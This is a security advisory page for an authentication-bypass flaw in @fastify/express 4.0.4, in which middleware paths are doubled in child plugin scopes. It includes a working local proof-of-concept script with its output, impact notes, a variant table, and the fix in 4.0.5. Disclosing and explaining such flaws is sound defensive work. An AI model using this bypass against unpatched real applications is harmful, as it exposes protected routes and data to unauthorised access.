GHSA-hrwm-hgmj-7p9c — @fastify/express
CRITICALGHSA-hrwm-hgmj-7p9c is a critical-severity (CVSS 9.1) CWE-436 vulnerability in @fastify/express. A fix is available for @fastify/express — see the affected versions and patch details below.
@fastify/express's middleware path doubling causes authentication bypass in child plugin scopes
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-hrwm-hgmj-7p9c.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-hrwm-hgmj-7p9c plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,333 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@fastify/expressnpmDescription
Summary
@fastify/express v4.0.4 contains a path handling bug in the onRegister function that causes middleware paths to be doubled when inherited by child plugins. This results in complete bypass of Express middleware security controls for all routes defined within child plugin scopes that share a prefix with parent-scoped middleware. No special configuration is required — this affects the default Fastify configuration.
Details
The vulnerability exists in the onRegister function at index.js lines 92-101. When a child plugin is registered with a prefix, the onRegister hook copies middleware from the parent scope and re-registers it using instance.use(...middleware). However, the middleware paths stored in kMiddlewares are already prefixed from their original registration.
The call flow demonstrates the problem:
- Parent scope registers middleware:
app.use('/admin', authFn)—use()calculates path as'' + '/admin' = '/admin'— stores['/admin', authFn]inkMiddlewares - Child plugin registers with
{ prefix: '/admin' }— triggersonRegister(instance) onRegistercopies parent middleware and callsinstance.use('/admin', authFn)on child- Child's
use()function calculates path as'/admin' + '/admin' = '/admin/admin'— registers middleware with doubled path - Routes in child scope use the child's Express instance, where middleware is registered under the incorrect path
/admin/admin - Requests to
/admin/secretdon't match/admin/admin— middleware is silently skipped
The root cause is in the use() function at lines 25-26, which always prepends this.prefix to string paths, combined with onRegister re-calling use() with already-prefixed paths.
PoC
const fastify = require('fastify');
const http = require('http');
function get(port, url) {
return new Promise((resolve, reject) => {
http.get('http://localhost:' + port + url, (res) => {
let data = '';
res.on('data', (chunk) => data += chunk);
res.on('end', () => resolve({ status: res.statusCode, body: data }));
}).on('error', reject);
});
}
async function test() {
const app = fastify({ logger: false });
await app.register(require('@fastify/express'));
// Middleware enforcing auth on /admin routes
app.use('/admin', function(req, res, next) {
if (!req.headers.authorization) {
res.statusCode = 403;
res.setHeader('content-type', 'application/json');
res.end(JSON.stringify({ error: 'Forbidden' }));
return;
}
next();
});
// Root scope route — middleware works correctly
app.get('/admin/root-data', async () => ({ data: 'root-secret' }));
// Child scope route — middleware BYPASSED
await app.register(async function(child) {
child.get('/secret', async () => ({ data: 'child-secret' }));
}, { prefix: '/admin' });
await app.listen({ port: 19876, host: '0.0.0.0' });
// Root scope: correctly blocked
let r = await get(19876, '/admin/root-data');
console.log('/admin/root-data (no auth):', r.status, r.body);
// Output: 403 {"error":"Forbidden"}
// Child scope: BYPASSED — secret data returned without auth
r = await get(19876, '/admin/secret');
console.log('/admin/secret (no auth):', r.status, r.body);
// Output: 200 {"data":"child-secret"}
await app.close();
}
test();
Actual output:
/admin/root-data (no auth): 403 {"error":"Forbidden"}
/admin/secret (no auth): 200 {"data":"child-secret"}
Impact
Complete bypass of Express middleware security controls for all routes defined in child plugin scopes. Authentication, authorization, rate limiting, CSRF protection, audit logging, and any other middleware-based security mechanisms are silently skipped for affected routes.
- No special request crafting is required — normal requests bypass the middleware
- It affects the idiomatic Fastify plugin pattern commonly used in production
- The bypass is silent with no errors or warnings
- Developers' basic testing of root-scoped routes will pass, masking the vulnerability
- Any child plugin scope that shares a prefix with middleware is affected
Applications using @fastify/express with path-scoped middleware and child plugins with matching prefixes are vulnerable in default configurations.
Affected Versions
@fastify/expressv4.0.4 (latest at time of discovery)- Fastify 5.x in default configuration
- No special router options required (
ignoreDuplicateSlashesnot needed) - Affects any child plugin registration where the prefix overlaps with middleware path scoping
- Does NOT affect middleware registered without path scoping (global middleware)
- Does NOT affect middleware registered on root path (
/) due to special case handling
Variant Testing
| Scenario | Middleware Path | Child Prefix | Result |
|---|---|---|---|
Root route /admin/root-data | /admin | N/A | Middleware runs (403) |
Child route /admin/secret | /admin | /admin | BYPASS (200) |
Child route /api/data | /api | /api | BYPASS (200) |
Nested child /admin/sub/data | /admin | /admin/sub | BYPASS — path becomes /admin/sub/admin |
Middleware on / with any child | / | /api | No bypass — path === '/' && prefix.length > 0 special case |
Suggested Fix
The onRegister function should store and re-use the original unprefixed middleware paths, or avoid re-calling the use() function entirely. Options include:
- Store the original path and function separately in
kMiddlewaresbefore prefixing - Strip the parent prefix before re-registering in child scopes
- Store already-constructed Express middleware objects rather than re-processing paths
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @fastify/express | all versions | 4.0.5npm install @fastify/express@4.0.5 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @fastify/express, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @fastify/express to 4.0.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-hrwm-hgmj-7p9c is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-hrwm-hgmj-7p9c can be triaged on real exposure rather than presence alone.
Tailored to GHSA-hrwm-hgmj-7p9c. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-hrwm-hgmj-7p9c in your dependencies?
O3 Security finds GHSA-hrwm-hgmj-7p9c across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.